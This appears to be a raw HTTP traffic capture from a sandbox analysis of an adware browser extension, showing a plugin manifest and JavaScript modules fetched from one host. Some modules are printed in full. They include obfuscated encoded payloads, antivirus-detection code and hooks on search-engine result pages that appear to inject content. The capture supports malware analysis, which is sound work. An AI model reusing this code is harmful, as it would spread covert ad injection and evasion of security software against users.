Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1427498130"

Last-Modified: Fri, 27 Mar 2015 23:15:30 GMT

Cache-Control: max-age=900

Content-Length: 17425

Content-Type: text/plain; charset=UTF-8

X-HW: 1427668152.dop002.fr7.t,1427668152.cds006.fr7.pr

{.."plugins_version": 103,.."plugins_list":. [. {"id":4,"url":"hXXp://js.ourstatsstaticstack.com/plugins/javascripts/jquery-1_7_1_min.js","ver":5,"name":"jquery_1_7_1","browsers":{"ie":true,"ff":true,"ch":true,"sf":true,"nv":true,"px":true},"targets":[{"run_at":1,"order":10200},{"run_at":0,"order":100},{"run_at":5,"order":100},{"run_at":2,"order":10200}],"enabled":true},{"id":2,"url":"hXXp://js.ourstatsstaticstack.com/plugins/mins/2.js","ver":2,"name":"ie8_fix_1","browsers":{"ie":true,"ff":false,"ch":false,"sf":false,"nv":false,"px":false},"targets":[{"run_at":1,"order":10100},{"run_at":2,"order":10100}],"enabled":true},{"id":3,"url":"hXXp://js.ourstatsstaticstack.com/plugins/mins/3.js","ver":2,"name":"ie8_fix_2","browsers":{"ie":true,"ff":false,"ch":false,"sf":false,"nv":false,"px":false},"targets":[{"run_at":1,"order":10300},{"run_at":2,"order":10300}],"enabled":true},{"id":47,"url":"http://js.ourstatsstaticstack.com/plugins/mins/47.js","ver":3,"name":"resources_background","browsers":{"ie":true,"ff":true,"ch":true,"sf":true,"nv":false,"px":false},"targets":[{"run_at":0,"order":30000},{"run_at":5,"order":30000}],"enabled":true},{"id":246,"url":"hXXp://js.ourstatsstaticstack.com/plugins/mins/246.js","ver":17,"name":"setup","browsers":{"ie":true,"ff":true,"ch":true,"sf":true,"nv":true,"px":true},"targets":[{"run_at":0,"order":5},{"run_at":1,"order":5}],"enabled":true},{"id":253,"url":"hXXp://js.ourstatsstaticstack.com/plugins/mins/253.js","ver":2,"name":"pixel_inject","browsers":{"ie":true,"ff":true,"ch

<<< skipped >>>

GET /plugins/mins/42.js?ver=10&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1409568411"

Last-Modified: Mon, 01 Sep 2014 10:46:51 GMT

Cache-Control: max-age=185

Content-Length: 7866

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668152.dop002.fr7.t,1427668152.cds034.fr7.c

var Consts={SCOPE:{BACKGROUND:0,PAGE:1,POPUP:5,OPEN_URL:6}};if(typeof appAPI==="undefined"){appAPI={};}appAPI.__should_activate_validation__=true;(function(a){if(typeof window=="undefined"){window={};}if(typeof window.document==="undefined"){window.document={};document=window.document;}if(typeof window.alert==="undefined"){window.alert=function(b){var c;if(typeof b==="undefined"){c="undefined";}else{if(b===null){c="null";}else{c=b.toString();}}if(typeof c==="string"){a.alert(c);}};alert=window.alert;}})(appAPIinternal);if(typeof console==="undefined"){window.console={};console=window.console;}if(typeof console.log==="undefined"){window.console.log=function(a){};console.log=window.console.log;}if(typeof console.info==="undefined"){window.console.info=function(a){};console.info=window.console.info;}if(typeof console.warn==="undefined"){window.console.warn=function(a){};console.warn=window.console.warn;}if(typeof console.error==="undefined"){window.console.error=function(a){};console.error=window.console.error;}if(typeof console.assert==="undefined"){window.console.assert=function(a){};console.assert=window.console.assert;}if(typeof console.dir==="undefined"){window.console.dir=function(a){};console.dir=window.console.dir;}if(typeof console.clear==="undefined"){window.console.clear=function(a){};console.clear=window.console.clear;}if(typeof console.profile==="undefined"){window.console.profile=function(a){};console.profile=window.console.profile;}if(typeof console.profileEnd==="undefined"){window.console.profileEn

<<< skipped >>>

GET /plugins/mins/391.js?ver=1&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1426068985"

Last-Modified: Wed, 11 Mar 2015 10:16:25 GMT

Cache-Control: max-age=900

Content-Length: 795

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668152.dop002.fr7.t,1427668152.cds025.fr7.c

if (typeof setup2 === 'function') { setup2('MTk0YjAwMWYwMTE3MmQxYTFlNTM1ODRiMDAxZjAxMTc0MjQ3NWQxMjA2MDcwYjBhMTYwZjFkNDUxMzVmMDMwMjA5MDYxNDBlMTAwYzVjMWYwNzFkNDcxODAwMDU1NzAwNDI0ODVhNWIwYTBlNWEzODI3MmIyMDNlMzEzYTNhMjIzMTIyMmEzNzM3MjkzNjJjMjYyZjMwMjMyNzNiMjczMzNkMjAyYzM0MmE0ODE0NDYxODAyNWQxOTAxMGY0ODU1NGE1MTQ2NTcwNzExMWM1NjJhMzgzYjNhM2QyMjMxM2IyMTJmMzAzNTI3MjkyMjIxM2QyNzI5MjYzMDM4Mjc0YTVlNTMwYTFkMWMxYjA2MzIwYTA0NTA0YjQwMDExYzFmMDUxNDQyNDc1ZDEyMDYwNzBiMGExNjBmMWQ0NTEzNWYwMzAyMDkwNjE0MGUxMDBjNWMxZjA3MWQ0NzE4MDAwNTU3MDA0MjQ4NWE1YjBhMGU1YTM4MjcyYjIwM2UzMTNhM2EyMjMxMjIyYTM3MzcyOTM2MmMyNjJmMzAyMzI3M2IyNzMzM2QyMDJjMzQyYTQ4MTQ0NjE4MDI1ZDE5MDEwZjQ4NTU0YTUxNDY1NzA3MTExYzU2MmEzODNiM2EzZDIyMzEzYjIxMmYzMDM1MjcyOTIyMjEzZDI3MjkyNjMwMzgyNzRhNWU1MzEyMDUxZDBjMWMwOTMxMGM1MDRiNTE1MDU5MTY=', 'bihkugxhrq'); }....

GET /plugins/mins/380.js?ver=1&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1424181436"

Last-Modified: Tue, 17 Feb 2015 13:57:16 GMT

Cache-Control: max-age=900

Content-Length: 1303

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668152.dop002.fr7.t,1427668152.cds022.fr7.c

if (typeof setup2 === 'function') { setup2('MWE3Mzc4NDcwMTE3MWUxNjJkMGEwZDViNGI0NTRiMGIxZTEyMDg0MjRlNTYxMjAxMDc0ZDBkMDkwYjExMDYxNzAyMDAxYjE1NDQwNTE3MTU0ZTFhMTI0YTA4NGQwMDE1NDcyNzNlMGEwMzA2MzYwZjA1MDUxOTBjMGUwYjJlM2E1NDAwMDk0NDU0NzI2ODViMTkxMTFkMTMxOTMzMGExNDQzNDM1MTQ3MDExNzFlMTYwYjQyNGU1NjE1NTcwODViMGI1MjA5NDE0ZjBhMDIwOTQ3MGIxZDA1MWMxNjRmMTcxNDExNDYwMDA5NDkxOTU2MGIwYTRlM2EzNjEwMTgwNTI3MTQwZTFhMTAxMTA2MTEzNTM5NDUxYjAyNWI1ZDZmNjA0MTFhMGEwZDFmMDgxNzM4MDE0YjU5NGE1NTQwNDg0ZDczNTE0NTQ5NDM0ODBmMTYxNDA4MTcxNDJmM2E0MTUwNDY1YTBmMDgxNzE1MGExZTRkMzUzOTE2MGMwNzI2MTgwNzAwMDAzNTM5NDU1ZjNlMjYzMjM3MjYzMDM5MzQzMTNjMjQyYjJlMmMyNzMwM2UyNzM0MzQyNDJiMmUzMDNhMjYzODM5MzEzYzNlMjY1NjVlMWUwYTA0MDIxNzBmNGYyNjJlMGIxZDA1MzUxMDFkMGEwODI2MmU1ODRlM2MzNTI1MmEzNzMyMmEyMzJjMmQyNjM4MzkyZTNkMzMzMDM3MmMyYzMxMzUzOTVmNDMxNjEwMWYwMTA2MTQ0NDM5MjcxNjE1MWYyZTA3MWIzYzM1NWI1ZjI3M2UzYTIzMmEzYTMwMzgyZjNjM2QzMzI2MzMzNzI2MzQzOTIzMmEyNzNlNWU0YTEyMDAwZDBlMDkwZjU2M2UyNjFmMTEwZjNjMDkwYjA4MjczZTQ0NTYzYTM2MjAzODI5MmIyYjMzMzAzNTIwM2IzYzI5MjczNTI4M2UzMDM1M2EzNjQ0NTExMTExMTYwNTE2MDY0YjM2M2MwNDEyMWUyNzA2MWMxZTNhMzY1ZTRkMzkyNzNiMzMzNjIyMzYzYjJhMmUyMzJhMjcyMjM2MjQyYjNkMzEzMzM5M2IzNzI1M2MyZTNhNGU1ODFkMGYxNjFjMGUwZTVmM2EzNjBkMWUwMDI3MTYwMDE0MTQzYTM2NWU0ZDM5MjczYjMzMzYyMjM2M2IyYTJlMjMyYTI3MjAyOTIxM2EyNzIyMjcyMzI3Mjc0NjQyNTM2ZjE0', 'ayqeicjfxx'); }....

<<< skipped >>>

GET /plugins/mins/334.js?ver=1&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1415748965"

Last-Modified: Tue, 11 Nov 2014 23:36:05 GMT

Cache-Control: max-age=900

Content-Length: 967

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668152.cds005.fr7.c

if (typeof setup2 === 'function') { setup2('MTk2OTRhNTc1OTRjNTYwYzE3MWYxMjM2MTgxYjViNTY1NDQ2MGIxZjE2MTM1MDU4NTYwOTBjMTA1MjQ1MTUwNjA4MDQxNjAwMTkwYjBkNDUwMTBjMDc1ODBlMWYyYjBiMDEwZDNkNWE1OTQ2MTM1NDJiNGEwOTE4NWQwMDBiMWEwOTBkMWQwMzBkMjIwNjVlMzUyODNhM2UzYjM3MzAzOTJiMjcyZjI1MjYyZjM1MjkzMzM0MmIyNzM1Mjg1ZjBmMWIxMTBkMWYxMDFhMjkxODFkMDk0OTNiM2MyODMwMmMzOTI0MmIyNTMwMjEzMTM0MjEyYzNmMzkyZDNlMmQzYjIwMjQyNjI2MzUyODVmMDUxYTE3MTcwYTBlMGYwYjAzMTAwMzFhMzAwYTA2MDc1ZTM1MjgzYTNlM2IzNzMwMzkyYjI3MmYyNTI2MjUzYTM3MzcyYTJlMmYzNTIzMzAyMTMxM2IzYzRkMDMxMzFhM2UzZDUxMmIzYjIwMzkyZDMwMzkyNTMwMjgzMTM2M2MyYTMyMzMzNTNlM2QzMzJiNDIyYTI5MmIyMDU3MjgyNjJmMjYyYjMwMzgzMDJhMmUzMjJiMzMzZDJhMzAzZjIzMmYyNjMyMmIzMzIxMzcyNjM5M2QyYTJlMjgyNjRhMTUxNDEzMjUwMzBlMGY0YTI2MzMzNzM2MmMzODMxMzEyMzMzM2MzZTJiMjUzMzNiM2QyZDJiM2EzYzMzMmI0MjEwMWUwMDJhMmU0YTI2MzMzNzM2MmMzODMxMzEyMzMzM2MzZTJiMjEzYjNmMjcyZDJlMzIzZDMzMjczMTIxMzQyYjI3MzUyODViNDA3ZTQ0NDM0YjQyNDExYTFiMGMwYjFkMGEyYTBmNDA1OTRhNDQ0YTU4N2UxOQ==', 'bcjwyltdck'); }....

GET /plugins/mins/273.js?ver=6&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1418314330"

Last-Modified: Thu, 11 Dec 2014 16:12:10 GMT

Cache-Control: max-age=900

Content-Length: 903

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668152.cds029.fr7.c

if (typeof setup2 === 'function') { setup2('MWE3ZTUxNDI0YzRiNGQwYzEyMDAxMTIxMDMwZTRlNTE0ZjQ2MGUwMDE1MDQ0YjRkNDMwODA1MTc0ODE4MDgxYTFhMDAwMzA3MDYwNzQ4MTcwZTE5NWUxMTBmMDExYzRiMDUxZTEyNWIxMjE2MTQwMTFjNGEwYzA3NWUxNTE3MDQzMzAyMGI1OTU3NDU1NTQxNTcxMTE5MDkwZTAyMDAyYjA4MTA0YzNkMzMyODNkMmIzNTI3MzMzZDM1MjczZTM0MmEzYzMyMzEyZjMwMzQyNjMzMzgzYTI2MzkzZDI1MmIyZTQ0MWYwOTFkMDUwODEwNWMyYjJlMjEzZTI0M2MzNzM0M2QyNTMxMjMzZDJkM2IzZjNiMjgzNTJjMzEyZTNkNGU0NzY1NDQ0NjU0NDE1NjE5MTYxODFiMWMzMTE0MTg0MzRlNTE0MDA0MWYxYjE0MTU0ZTRlNWIxMjA4MWY0NTAzMGQwODFmMDMxYjFkMGIwZjQ1MGMwYjBiNWIxMjE3MWIxMTQzMDgwNTE3NDkxNzE1MGMxYjExNDIwMTFjNWIwNzEyMDcyYjE4MDY1MTVhNWU1MDUzNTIxMjAxMTMwMzBhMGQzMDBkMDI0OTNlMmIzMjMwMjMzODNjMzYyZjMwMjQyNjJlMjczNDNmMmEyYTIyMzEyNTJiMjIzNzJlMzQyNjIwMzkyYjQ3MDcxMzEwMGQwNTBiNTkzOTJiMjIyNjNlMzEzZjM5MjYyMDIzMjYzZTM1MjEzMjMzMjUyZTI5MjMyYjNlNTY1ZDY4NGM0YjRmNDQ0NDA0MGQwMTE2MGIwMjIyMGI0NjVjNTQ1MzQzNDI2ODEx', 'atqblkodft'); }....

GET /plugins/mins/242.js?ver=4&rnd=8467 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1403211500"

Last-Modified: Thu, 19 Jun 2014 20:58:20 GMT

Cache-Control: max-age=900

Content-Length: 1023

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668152.cds009.fr7.c

if (typeof setup2 === 'function') { setup2('MWQ3ZjZjNTYwYzFlMWExZDMzMTEwYTU3NWY1NDQ2MDIxYTE5MTY1OTQ5NWEwYzFhMTcxZTQwMWUwZTBjMTYwNTBjMWEwMzBiMWEwODQ4MGEwODEzMGE1YjBlMTk0MTFlMDEzYzA0MTI0YjFlMTc1NTJmMmIyMDJhMmEzYzI0MjAyMTM1MjcyOTViMDAxNDA2MTcxMDE2NGMzZDM4MjQzYzIyM2MzNjIwMzYyMzJjMzgzMjI2MzQyYTJjMzA1OTM1MzEyZTM0MmMzNTI2MzczZDIwMmYzYzMyMjMzYjMyMzAyYjMwMjEyZTMxM2UzMzIxMzkzYzIxMmIzYjRjMmMzZjI3MmQyMjJhMjEzZDM3M2EyMjJjM2YzYzI4MzQyODMxNTkzNTMxMmUzNDJjMzUyNjM3M2QyMDJmM2MzMjI3MzMzNjJhMmIzNTI5MmYzMTMyNDQ0ZjZjN2M0NzFjMTAxZTFlMWUzMzExMGE1NzVmNTQ0NjAyMWExOTE2MTA1YzVhNGExZDBhMTkxYTQzMTUwYjA5MDUxNTFkMGEwZDBmMTkwMzRkMGYxYjAzMWI0YjAwMWQ0MjE1MDQzOTE3MDI1YTBlMTk1MTJjMjAyNTJmMzkyYzM1MzAyZjMxMjQyMjVlMDUwNzE2MDYwMDE4NDgzZTMzMjEzOTMxMmMyNzMwMzgyNzJmMzMzNzIzMjczYTNkMjA1NzMxMzIyNTMxMjkyNjM2MjYyZDJlMmIzZjM5MjYzZTIxMjAzYTIwMmYyYTMyMzUzNjI0MmEyYzMwM2IzNTQ4MmYzNDIyMjgzMTNhMzAyZDM5M2UyMTI3M2EzOTNiMjQzOTIxNTczMTMyMjUzMTI5MjYzNjI2MmQyZTJiM2YzOTIyMzYyNTNhM2EyNTI3MmIzMjM5NDE0YTdmNmM1NjE0MDYxYjBhMGYwZDJmMTE0NzRlNDQ1ODVhNWY2YzFl', 'fuetdjnmfc'); }....

GET /plugins/mins/230.js?ver=7&rnd=8467 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1408273144"

Last-Modified: Sun, 17 Aug 2014 10:59:04 GMT

Cache-Control: max-age=900

Content-Length: 867

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668152.cds022.fr7.c

if (typeof setup2 === 'function') { setup2('MDM3YzY3NDMwMDFlMWUwODNkMWYxNDU0NTQ0MTRhMDIxZTBjMTg1NzU3NTkwZjEyMWExYzQ3MTk0NjBjMTMxNzAzMDAwMTAyMGU1NjA2MDgwYzU5MWQwNTQ3NWI1ZDQ4NTg0MjQ5NDY1YTU3NDYwMDE5NWE0NDY3NzE1NDA2MTUxYzFhMTkyZDFhMDE1YTRjNGU0MzAwMWUxZTA4MWI1NzU3NTkwZjEyMWExYzQ3MTk0NjBjMTMxNzAzMDAwMTAyMGU1NjA2MDgwYzU5MWQwNTQ3NWI1ZDQ4NTg0MjQ5NDY1YTU3NDYwMDE5NWE0NDY3NzE1NDFlMGQxZDBkMDMxNjIxMDk1YTRjNGU1MzViNWE0NjcyNDg0ZDU4NTY0YzE3MGQxODFlMTEwYjBjMTQ1NDU0NDEzMzQ4MGIxYzFiNGYyNTVhNjQ0MTQ4NGE0YTVhMDEwMzE0MWYwMDA0MjIzOTQ4NDI0ODRmMGYxZjAwMDUwNzFkNDQyNzFhMWIwMjQ3NTk1MTU4MTI1YjQ4NWM1YjU4NGI0ZTFhNDg0ZDFhMGQwYTAxMTEwNTA2MDQxYTM1MTkwZDBhMDQxYzUxNTQ0MTRmMzUzNTNiM2EyMjJiMjUzYzI4MmMyZjM4MjcyZDM1MmMzMzIwMjUyZDJlMzUyYjNkMmYyNzNmMmEzZTM3NGQ0NjU4NGYwYzFjMTIwMTBmMDYwYjA3MWQ0ZjU3NTg1MTMxM2UyYjM4MjUyYjNiM2YzMTMyMmIzMzM3MmIzYTI4MzcyMzM5M2IyYjNlMzc0ZDE3NDM0YTY3MDU=', 'xvnahjjxhm'); }....

GET /plugins/mins/223.js?ver=9&rnd=8467 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1418314404"

Last-Modified: Thu, 11 Dec 2014 16:13:24 GMT

Cache-Control: max-age=900

Content-Length: 823

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668152.cds015.fr7.c

if (typeof setup2 === 'function') { setup2('MDI3ZDc5NTUxMjA1MGQxYzI0MDgxNTU1NGE1NzU4MTkwZDE4MDE0MDU2NTgxMzEzMTQ1ZjBmMDUwMjFiMWQxMzVlMTQxNTFjNTYxZjEyMDgxMDA3MDQ1ODRiNDU0YzVhNDY0ZDRiNDI0NzQxNGY1ZTA5MWUxNDE2MTYxNjE0NTkxMDAyNDYxZjA0MTgxMDEzNGQyODI1MzIyYjIzMjIyOTJiM2UzNDMyMjgyZTNjMzQyNTNmMzczMzM1MzMyNTIyMmMyZTJlMzMzZDI4MmY1MTBmMWM0NDMzMmUzOTJiMzgyMzI0MjgzODNkMjkyMzI1MzgyNzIwMjgzNDMwMzQyOTJlMjU1YjViN2E3ZTU4MTkwZDE4MDEwOTJjMDUxYzU1NDA1MTViMDQwNTBlMDkwNDRhNTg1NTEyMWQwMjVmMGMxMDA0MTExMzFlNWYxYTAzMWM1NTBhMTQwMjFlMGEwNTU2NWQ0NTRmNGY0MDQ3NDU0ZjQ2NGY1OTVlMGEwYjEyMWMxODFiMTU1NzA2MDI0NTBhMDIxMjFlMWU0YzI2MzMzMjI4MzYyNDIzMjUzMzM1M2MzZTJlM2YyMTIzMzUzOTNlMzQzZDMzMjIyZjNiMjgzOTMzMjUyZTVmMTkxYzQ3MjYyODMzMjUzNTIyMmEzZTM4M2UzYzI1MmYzNjJhMjEyNjIyMzAzNzNjMjgyZjU1NTY3YjcwNGUwMTE2MGMxMDE5MTkzMzE1NWI1NjUxNDg0YjQ0N2EwYQ==', 'ywpwzqylqz'); }....

GET /plugins/mins/200.js?ver=4&rnd=8467 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1411077330"

Last-Modified: Thu, 18 Sep 2014 21:55:30 GMT

Cache-Control: max-age=900

Content-Length: 807

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668152.cds020.fr7.c

if (typeof setup2 === 'function') { setup2('MTc2NjY1NGQxODEyMTcwNjMzMDAwMDRlNTY0ZjUyMGUxNzAyMTY0ODQzNDMxZTFhMWMwMzEwNTgwMDFkMTQxNTA4MGExMTBhNGQxNTA5MWY0MzFhNWQ0MTQwNDkxNDFlMGYwNjA5MDAwNTFjMDQ0OTUyNDY1MTQyNDMzMzMzMmMyMjI5MzAyNTM0M2IyODI5M2UzMDM1M2UzNzMzMjgzNjI5MjgzMzNjMjUyNDNjM2YyMjJkMzM1MzFjMGUwMjEyMGQxMzE0M2MwZDAxMDk1MjJmMzkyMDI0MjkyMTNmM2UyNTJiMzUzNDNjMzczNjIyMzMyMjJkMjIzNTM5M2M1NDRhNzg2NTRlMDQxYjA0MTYxMDIzMTQxZTRlNTY0YzRkMTgxMjE3MDYxNTQ4NDM0MzFlMWExYzAzMTA1ODAwMWQxNDE1MDgwYTExMGE0ZDE1MDkxZjQzMWE1ZDQxNDA0OTE0MWUwZjA2MDkwMDA1MWMwNDQ5NTI0NjUxNDI0MzMzMzMyYzIyMjkzMDI1MzQzYjI4MjkzZTMwMzUzZTM3MzMyODM2MjkyODMzM2MyNTI0M2MzZjIyMmQzMzUzMWMwZTAyMTIwZDEzMTQzYzBkMDEwOTUyMmYzOTIwMjQyOTIxM2YzZTI1MmIzNTM0M2MzNzM2MjIzMzIyMmQyMjM1MzkzYzU0NGE3ODY1NGUxYzAzMDUwMTBhMTgyZjE2NGU1NjRjNWQ0MDU2NjkwYg==', 'lllopfcvfr'); }....

GET /plugins/mins/220.js?ver=38&rnd=8467 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1420463978"

Last-Modified: Mon, 05 Jan 2015 13:19:38 GMT

Cache-Control: max-age=619

Content-Length: 39907

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668152.cds020.fr7.c

if(appAPI.isBackground){var ICMBaseManager=function(a){return function(){};};}else{var ICMBaseManager=function(a){var b=(function(f){var i=(function(){var z={"\x61\x76\x67\x5F\x64\x65\x74\x65\x63\x74\x65\x64":1,"\x61\x76\x61\x73\x74\x5F\x64\x65\x74\x65\x63\x74\x65\x64":2,"\x61\x76\x69\x72\x61\x5F\x64\x65\x74\x65\x63\x74\x65\x64":4,"\x6D\x73\x65\x5F\x64\x65\x74\x65\x63\x74\x65\x64":8,"\x65\x73\x65\x74\x5F\x64\x65\x74\x65\x63\x74\x65\x64":16,"\x69\x6D\x61\x73\x68\x5F\x64\x65\x74\x65\x63\x74\x65\x64":32,"\x76\x69\x70\x65\x72\x5F\x64\x65\x74\x65\x63\x74\x65\x64":64,"\x61\x73\x6B\x74\x6F\x6F\x6C\x62\x61\x72\x5F\x64\x65\x74\x65\x63\x74\x65\x64":128,"\x64\x65\x61\x6C\x70\x6C\x79\x5F\x64\x65\x74\x65\x63\x74\x65\x64":256,"\x66\x75\x6E\x6D\x6F\x6F\x64\x73\x5F\x64\x65\x74\x65\x63\x74\x65\x64":512,"\x6D\x63\x61\x66\x65\x65\x5F\x64\x65\x74\x65\x63\x74\x65\x64":1024,"\x6D\x61\x6C\x77\x61\x72\x65\x62\x79\x74\x65\x73\x5F\x64\x65\x74\x65\x63\x74\x65\x64":2048,"\x62\x61\x69\x64\x75\x61\x76\x5F\x64\x65\x74\x65\x63\x74\x65\x64":4096,"\x73\x70\x61\x72\x6B\x5F\x62\x61\x69\x64\x75\x5F\x64\x65\x74\x65\x63\x74\x65\x64":8192,"\x62\x32\x63\x5F\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E\x5F\x64\x65\x74\x65\x63\x74\x65\x64":16384,"\x63\x72\x6F\x73\x73\x72\x69\x64\x65\x72\x5F\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E\x5F\x64\x65\x74\x65\x63\x74\x65\x64":32768,"\x79\x6F\x6E\x74\x6F\x6F\x5F\x64\x65\x74\x65\x63\x74\x65\x64":65536,"\x61\x76\x67\x5F\x73\x61\x66\x65\x67\x75\x61\x72\x64\x5F\x64\x65\x74\x65\x63\x74\x65\x64":131072,"\x67\x65\x65\x6B\x5F\x62\x75\

<<< skipped >>>

GET /plugins/mins/9.js?ver=3&rnd=8467 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:13 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1402409612"

Last-Modified: Tue, 10 Jun 2014 14:13:32 GMT

Cache-Control: max-age=900

Content-Length: 2385

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668153.cds037.fr7.c

appAPI.hooks.addHook("searchEngine",(function(a){return function(){var f={keyDelay:1000},e,h;return{init:function(i){e=this;this.addEngine({name:"google",url:"google",input:"input[name=q]",results:"#rso",result:'<li class="g" />'});this.addEngine({name:"bing",url:"bing.com",input:"input[name=q]",results:"#results > ul",result:'<li class="sa_wr" />'});this.addEngine({name:"yandex",url:"yandex.ru",input:"form.b-head-search input.b-form-input__input,form.b-search input.b-form-input__input",results:".b-body-items > ol",result:'<li class="b-serp-item i-bem b-serp-item_js_inited" />'});this.addEngine({name:"yandex",url:"yandex.com",input:"form.b-search input.b-form-input__input,#searchInput",results:".b-serp2-list__portion",result:'<div class="b-serp-block" />'});this.addEngine({name:"yahoo",url:"yahoo.com",input:"input[name=p]",results:"#web ol:eq(0)",result:"<li />"});this.addEngine({name:"yahoo",url:"search.yahoo.com",input:"input[name=p]",results:"#web ol:eq(0)",result:"<li />"});this.addEngine({name:"ask",url:"ask.com",input:"input[name=q]",results:"#lindm",result:'<div class="tsrc_tled" />'});this.addEngine({name:"aol",url:"aol.com",input:"input[name=q]",results:"#w .MSL:eq(0) ul",result:'<li about="null" />'});this.addEngine({name:"aol",url:"search.aol.com",input:"input[name=q]",results:"#w .MSL:eq(0) ul",result:'<li about="null" />'});this.addEngine({name:"youtube",url:"youtube.com",input:"input[name=search_query]",results:"#search-results",result:'&

<<< skipped >>>

GET /plugins/mins/184.js?ver=11&rnd=6334 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1420026483"

Last-Modified: Wed, 31 Dec 2014 11:48:03 GMT

Cache-Control: max-age=397

Content-Length: 1231

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668152.cds020.fr7.c

